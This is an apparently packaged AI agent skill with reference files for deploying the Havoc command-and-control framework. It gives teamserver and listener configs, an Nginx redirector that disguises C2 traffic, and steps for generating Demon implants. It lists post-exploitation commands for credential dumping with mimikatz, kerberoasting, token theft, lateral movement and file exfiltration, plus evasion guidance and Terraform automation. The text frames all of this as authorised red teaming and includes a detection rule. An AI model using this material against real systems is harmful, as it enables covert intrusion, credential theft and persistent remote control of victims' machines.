What it does. Deploy and configure the Havoc C2 framework (teamserver, HTTPS/HTTP/SMB Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-red-team-c2-infrastructure-with-havoc, or copy the skill folder into ~/.claude/skills/building-red-team-c2-infrastructure-with-havoc/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md
SKILL.md (verbatim)
name: building-red-team-c2-infrastructure-with-havoc
description: Deploy and configure the Havoc C2 framework (teamserver, HTTPS/HTTP/SMB
listeners, Nginx redirectors, and Demon agents) with malleable traffic profiles and
OPSEC-hardened infrastructure for authorized red team operations. Use when standing
up or hardening Havoc C2 infrastructure for a written, authorized adversary emulation
engagement.
domain: cybersecurity
subdomain: red-teaming
tags:
- havoc-c2
- command-and-control
- red-team-infrastructure
- post-exploitation
- adversary-emulation
- demon-agent
version: '1.0'
author: mahipal
license: Apache-2.0
nist_ai_rmf:
- GOVERN-1.1
- MEASURE-2.7
- MANAGE-3.1
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1071.001
- T1573.002
- T1583.001
- T1090.002
- T1105
- T1055
Building Red Team C2 Infrastructure with Havoc
Overview
Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.
When to Use
- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
Prerequisites
- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
- Kali Linux 2023+ (for Client)
- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
- Domain name aged 30+ days with valid SSL certificate
- Written authorization for red team engagement
Architecture
┌──────────────────────────────────────────────────────────────┐
│ HAVOC C2 ARCHITECTURE │
├──────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Havoc │────▶│ HTTPS │────▶│ Target Network │ │
│ │ Client │ │ Redirector │ │ (Demon Agent) │ │
│ │ (Kali) │ │ (Nginx/CDN) │ │ │ │
│ └──────────┘ └──────────────┘ └──────────────────┘ │
│ │ │ │
│ │ ┌──────────────┐ │
│ └──────────▶│ Havoc │ │
│ │ Teamserver │ │
│ │ (Ubuntu VPS)│ │
│ │ Port 40056 │ │
│ └──────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
Step 1: Install Havoc Teamserver
# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
python3-dev libboost-all-dev mingw-w64 nasm
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
# Build the Client
make client-build
Create the Havoc profile (havoc.yaotl):
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "Str0ngP@ssw0rd!"
}
user "operator2" {
Password = "An0th3rP@ss!"
}
}
Listeners {
Http {
Name = "HTTPS Listener"
Hosts = ["c2.yourdomain.com"]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = 443
PortConn = 443
Secure = true
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Uris = [
"/api/v2/auth",
"/api/v2/status",
"/content/images/gallery",
]
Headers = [
"X-Requested-With: XMLHttpRequest",
"Content-Type: application/json",
]
Response {
Headers = [
"Content-Type: application/json",
"Server: nginx/1.24.0",
"X-Frame-Options: DENY",
]
}
}
}
Demon {
Sleep = 10
Jitter = 30
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Step 3: Start Teamserver
# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v
# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443
Set up an Nginx reverse proxy on a separate VPS as a redirector:
# /etc/nginx/sites-available/c2-redirector
server {
listen 443 ssl;
server_name c2.yourdomain.com;
ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;
# Only forward traffic matching C2 URIs
location /api/v2/auth {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /api/v2/status {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
location /content/images/gallery {
proxy_pass https://TEAMSERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
}
# Redirect all other traffic to legitimate site
location / {
return 301 https://www.microsoft.com;
}
}
Step 5: Generate Demon Payload
# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe
# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver
Step 6: Post-Exploitation with Demon
Once a Demon session checks in, common post-exploitation commands:
# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all
# Process listing
demon> proc list
# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe
# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All
# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password
# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast
# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER
# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80
OPSEC Considerations
| Aspect |
Recommendation |
| Domain Age |
Register domains 30+ days before engagement |
| SSL Certificates |
Use Let's Encrypt or purchased certificates, never self-signed |
| Categorization |
Submit domain to Bluecoat/Fortiguard for categorization |
| Sleep/Jitter |
Minimum 10s sleep with 30%+ jitter for long-haul operations |
| User-Agent |
Match target organization's common browser user-agent |
| Kill Date |
Set payload expiration to engagement end date |
| Infrastructure |
Separate teamserver, redirector, and phishing infrastructure |
| Payload Format |
Use shellcode with custom loader instead of raw EXE |
MITRE ATT&CK Mapping
| Technique ID |
Name |
Phase |
| T1583.001 |
Acquire Infrastructure: Domains |
Resource Development |
| T1583.003 |
Acquire Infrastructure: Virtual Private Server |
Resource Development |
| T1587.001 |
Develop Capabilities: Malware |
Resource Development |
| T1071.001 |
Application Layer Protocol: Web Protocols |
Command and Control |
| T1573.002 |
Encrypted Channel: Asymmetric Cryptography |
Command and Control |
| T1090.002 |
Proxy: External Proxy |
Command and Control |
| T1105 |
Ingress Tool Transfer |
Command and Control |
| T1055 |
Process Injection |
Defense Evasion |
References
Other files in this skill
assets/template.md (verbatim)
Havoc C2 Infrastructure Configuration Template
Engagement Details
| Field |
Value |
| Engagement ID |
RT-YYYY-XXX |
| Client |
[Organization] |
| Operators |
[Names] |
| Start Date |
YYYY-MM-DD |
| End Date |
YYYY-MM-DD |
| Kill Date |
YYYY-MM-DD |
Infrastructure Inventory
Teamserver
| Field |
Value |
| Provider |
[AWS/DigitalOcean/Linode] |
| IP Address |
X.X.X.X |
| OS |
Ubuntu 22.04 LTS |
| Port |
40056 |
| Havoc Version |
0.7 |
| Access |
SSH Key: [key name] |
Redirector(s)
| Name |
Provider |
IP |
Domain |
SSL Cert |
Status |
| Redirector-1 |
[Provider] |
X.X.X.X |
c2.domain.com |
Let's Encrypt |
Active |
| Redirector-2 |
[Provider] |
X.X.X.X |
cdn.domain2.com |
Let's Encrypt |
Standby |
Domains
| Domain |
Purpose |
Registered |
Aged |
Categorized |
SSL |
| c2.domain.com |
Primary C2 |
YYYY-MM-DD |
Yes (45 days) |
Business |
Yes |
| cdn.domain2.com |
Backup C2 |
YYYY-MM-DD |
Yes (60 days) |
Technology |
Yes |
| phish.domain3.com |
Phishing |
YYYY-MM-DD |
Yes (30 days) |
Uncategorized |
Yes |
Havoc Profile Configuration
Teamserver:
Host: "0.0.0.0"
Port: 40056
Operators:
- Username: operator1
Password: [REDACTED]
- Username: operator2
Password: [REDACTED]
Listeners:
- Name: "Primary HTTPS"
Type: HTTPS
Host: c2.domain.com
Port: 443
URIs: ["/api/v2/auth", "/api/v2/status", "/content/images/gallery"]
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
Jitter: 30%
- Name: "SMB Pivot"
Type: SMB
PipeName: "\\ntsvcs"
Demon:
Sleep: 10
Jitter: 30
Spawn64: "C:\\Windows\\System32\\notepad.exe"
Spawn32: "C:\\Windows\\SysWOW64\\notepad.exe"
Payload Inventory
| Payload |
Format |
Listener |
Arch |
Hash (SHA256) |
Delivery |
| stage1.bin |
Shellcode |
Primary HTTPS |
x64 |
[hash] |
Custom loader |
| beacon.dll |
DLL |
Primary HTTPS |
x64 |
[hash] |
DLL sideloading |
| pivot.exe |
Service EXE |
SMB Pivot |
x64 |
[hash] |
Lateral movement |
OPSEC Checklist
Pre-Engagement
During Engagement
Post-Engagement
Emergency Procedures
| Scenario |
Action |
| Burned domain |
Switch to backup redirector |
| Detected implant |
Sleep beacon to 24h, assess exposure |
| Teamserver compromise |
Kill all sessions, rotate infrastructure |
| Client emergency stop |
Execute killall on all active Demons |
| Legal escalation |
Contact [Legal Contact] at [phone] |
Operator Communication
| Channel |
Purpose |
| Signal Group |
Real-time coordination |
| Encrypted Email |
Reports and documentation |
| Havoc Chat |
In-tool session coordination |
| Emergency Phone |
[Phone number] for critical issues |
references/api-reference.md (verbatim)
API Reference: Red Team C2 Infrastructure with Havoc
For authorized penetration testing and lab environments only.
Havoc Teamserver API
Base URL: https://{teamserver}:{port}/api/
Authorization: Bearer {token}
Listener Endpoints
| Method |
Endpoint |
Description |
| GET |
/api/listeners |
List active listeners |
| POST |
/api/listeners |
Create new listener |
| DELETE |
/api/listeners/{name} |
Remove listener |
Agent (Demon) Endpoints
| Method |
Endpoint |
Description |
| GET |
/api/agents |
List connected agents |
| POST |
/api/agents/{id}/command |
Task agent |
| GET |
/api/agents/{id}/output |
Get task output |
HTTPS Listener Config
{
"name": "https-c2",
"protocol": "Https",
"host": "0.0.0.0",
"port": 443,
"hosts": ["c2.example.com"],
"secure": true,
"user_agent": "Mozilla/5.0 ..."
}
SMB Listener Config
{
"name": "smb-pivot",
"protocol": "Smb",
"pipe_name": "\\\\.\\pipe\\mojo_ipc"
}
Payload Generation
POST /api/payloads/generate
{
"listener": "https-c2",
"arch": "x64",
"format": "exe",
"config": {
"sleep": 5,
"jitter": 20,
"indirect_syscalls": true,
"sleep_technique": "WaitForSingleObjectEx"
}
}
| Format |
Description |
exe |
Windows PE executable |
dll |
DLL side-loading |
shellcode |
Raw shellcode |
service_exe |
Windows service binary |
Agent Properties
| Field |
Description |
agent_id |
Unique identifier |
hostname |
Target hostname |
username |
Running user context |
os |
Operating system |
process_name |
Host process |
pid |
Process ID |
sleep |
Callback interval (seconds) |
last_callback |
Last check-in time |
references/standards.md (verbatim)
Standards and References: Havoc C2 Infrastructure
MITRE ATT&CK Techniques
Resource Development (TA0042)
- T1583.001 - Acquire Infrastructure: Domains
- T1583.003 - Acquire Infrastructure: Virtual Private Server
- T1583.006 - Acquire Infrastructure: Web Services
- T1587.001 - Develop Capabilities: Malware
- T1587.003 - Develop Capabilities: Digital Certificates
- T1608.001 - Stage Capabilities: Upload Malware
- T1608.005 - Stage Capabilities: Link Target
Command and Control (TA0011)
- T1071.001 - Application Layer Protocol: Web Protocols (HTTP/HTTPS)
- T1573.001 - Encrypted Channel: Symmetric Cryptography
- T1573.002 - Encrypted Channel: Asymmetric Cryptography
- T1090.001 - Proxy: Internal Proxy
- T1090.002 - Proxy: External Proxy
- T1090.004 - Proxy: Domain Fronting
- T1105 - Ingress Tool Transfer
- T1132.001 - Data Encoding: Standard Encoding
- T1001 - Data Obfuscation
- T1568.002 - Dynamic Resolution: Domain Generation Algorithms
- T1571 - Non-Standard Port
- T1572 - Protocol Tunneling
Defense Evasion (TA0005)
- T1055 - Process Injection
- T1055.012 - Process Hollowing
- T1620 - Reflective Code Loading
- T1027 - Obfuscated Files or Information
- T1497 - Virtualization/Sandbox Evasion
- T1140 - Deobfuscate/Decode Files or Information
Execution (TA0002)
- T1059.001 - PowerShell
- T1106 - Native API
- T1129 - Shared Modules
NIST References
- NIST SP 800-115 - Section 4.3: Penetration Testing (authorized C2 usage)
- NIST SP 800-53 Rev. 5 - CA-8: Penetration Testing controls
- NIST SP 800-53 Rev. 5 - SI-4: Information System Monitoring (detection of C2)
Havoc-Specific Detection Signatures
| Detection |
Source |
Rule |
| Default Havoc HTTP Headers |
Network IDS |
alert http any any -> any any (msg:"Havoc C2 Default Headers"; content:"X-Havoc"; sid:1000001;) |
| Demon Sleep Patterns |
EDR |
Periodic beaconing with consistent intervals +/- jitter |
| Named Pipe Patterns |
Sysmon |
EventID 17/18 with \\.\pipe\ matching Havoc defaults |
| Default Teamserver Port |
Firewall |
TCP 40056 outbound |
Compliance Context
Havoc C2 usage is only authorized under:
- Signed Rules of Engagement (RoE) documents
- Authorized penetration testing under PCI DSS 11.4, SOC 2 CC7.1
- TIBER-EU / CBEST threat-led penetration testing frameworks
- Bug bounty programs with explicit C2 authorization
references/workflows.md (verbatim)
Workflows: Havoc C2 Infrastructure Deployment
Infrastructure Deployment Workflow
┌─────────────────────────────────────────────────────────────────┐
│ HAVOC C2 DEPLOYMENT WORKFLOW │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 1. DOMAIN & INFRASTRUCTURE PREPARATION (Week -4) │
│ ├── Register domain names (aged 30+ days) │
│ ├── Submit domains for categorization (Bluecoat, Fortiguard) │
│ ├── Provision VPS instances (Teamserver + Redirector) │
│ ├── Obtain SSL certificates (Let's Encrypt) │
│ └── Configure DNS A records │
│ │
│ 2. TEAMSERVER SETUP (Day 1) │
│ ├── Install dependencies on Ubuntu VPS │
│ ├── Clone and build Havoc from source │
│ ├── Create teamserver profile (havoc.yaotl) │
│ │ ├── Configure operator credentials │
│ │ ├── Define listeners (HTTPS, SMB) │
│ │ ├── Set Demon agent parameters │
│ │ └── Configure malleable traffic profiles │
│ ├── Harden teamserver (iptables, fail2ban) │
│ └── Start teamserver with verbose logging │
│ │
│ 3. REDIRECTOR CONFIGURATION (Day 1-2) │
│ ├── Install Nginx on redirector VPS │
│ ├── Configure SSL termination │
│ ├── Set up reverse proxy rules │
│ │ ├── Forward C2 URIs to teamserver │
│ │ └── Redirect non-matching traffic to legit site │
│ ├── Configure access logging │
│ └── Test end-to-end connectivity │
│ │
│ 4. PAYLOAD DEVELOPMENT (Day 2-3) │
│ ├── Generate Demon shellcode via Havoc Client │
│ ├── Develop custom loader (C/Rust/Nim) │
│ │ ├── AES-encrypt shellcode │
│ │ ├── Implement sleep obfuscation │
│ │ ├── Add sandbox checks │
│ │ └── Use indirect syscalls │
│ ├── Test against AV/EDR in lab │
│ └── Package for delivery vector │
│ │
│ 5. OPERATIONAL TESTING (Day 3-4) │
│ ├── Test beacon callback through full chain │
│ ├── Verify redirector filtering │
│ ├── Test sleep/jitter behavior │
│ ├── Validate post-exploitation modules │
│ └── Confirm kill switch functionality │
│ │
│ 6. OPERATIONAL USE (Engagement period) │
│ ├── Deploy payloads via approved vectors │
│ ├── Manage sessions through Havoc Client │
│ ├── Execute post-exploitation tasks │
│ ├── Maintain operator logs │
│ └── Monitor infrastructure health │
│ │
│ 7. TEAR-DOWN (Post-engagement) │
│ ├── Remove all implants from target systems │
│ ├── Archive engagement logs │
│ ├── Destroy VPS instances │
│ ├── Release domain names │
│ └── Provide IOCs to client for deconfliction │
│ │
└─────────────────────────────────────────────────────────────────┘
Havoc Listener Configuration Decision Tree
Select Listener Type
│
├── External (Internet-facing targets)?
│ ├── HTTPS Listener
│ │ ├── Use valid SSL certificate
│ │ ├── Configure malleable URIs
│ │ ├── Set User-Agent to match target
│ │ └── Route through redirector
│ └── HTTP Listener (lab only)
│ └── Never use in production operations
│
├── Internal (post-initial access)?
│ ├── SMB Listener (named pipe)
│ │ ├── For workstation-to-workstation pivoting
│ │ └── No direct internet connectivity needed
│ └── TCP Listener
│ └── For direct internal connections
│
└── Advanced?
└── External C2 Listener
├── Custom protocol over DNS
├── Domain fronting via CDN
└── Third-party service channels
# main.tf - Automated Havoc C2 Infrastructure
provider "aws" {
region = "us-east-1"
}
resource "aws_instance" "teamserver" {
ami = "ami-0c7217cdde317cfec" # Ubuntu 22.04
instance_type = "t3.medium"
key_name = var.ssh_key_name
vpc_security_group_ids = [aws_security_group.teamserver_sg.id]
user_data = file("scripts/install_havoc.sh")
tags = {
Name = "havoc-teamserver"
}
}
resource "aws_instance" "redirector" {
ami = "ami-0c7217cdde317cfec"
instance_type = "t3.micro"
key_name = var.ssh_key_name
vpc_security_group_ids = [aws_security_group.redirector_sg.id]
user_data = file("scripts/install_redirector.sh")
tags = {
Name = "havoc-redirector"
}
}
resource "aws_security_group" "teamserver_sg" {
name = "havoc-teamserver-sg"
ingress {
from_port = 40056
to_port = 40056
protocol = "tcp"
cidr_blocks = [var.operator_ip]
}
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = [aws_instance.redirector.public_ip]
}
}
resource "aws_security_group" "redirector_sg" {
name = "havoc-redirector-sg"
ingress {
from_port = 443
to_port = 443
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
}
OPSEC Checklist
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.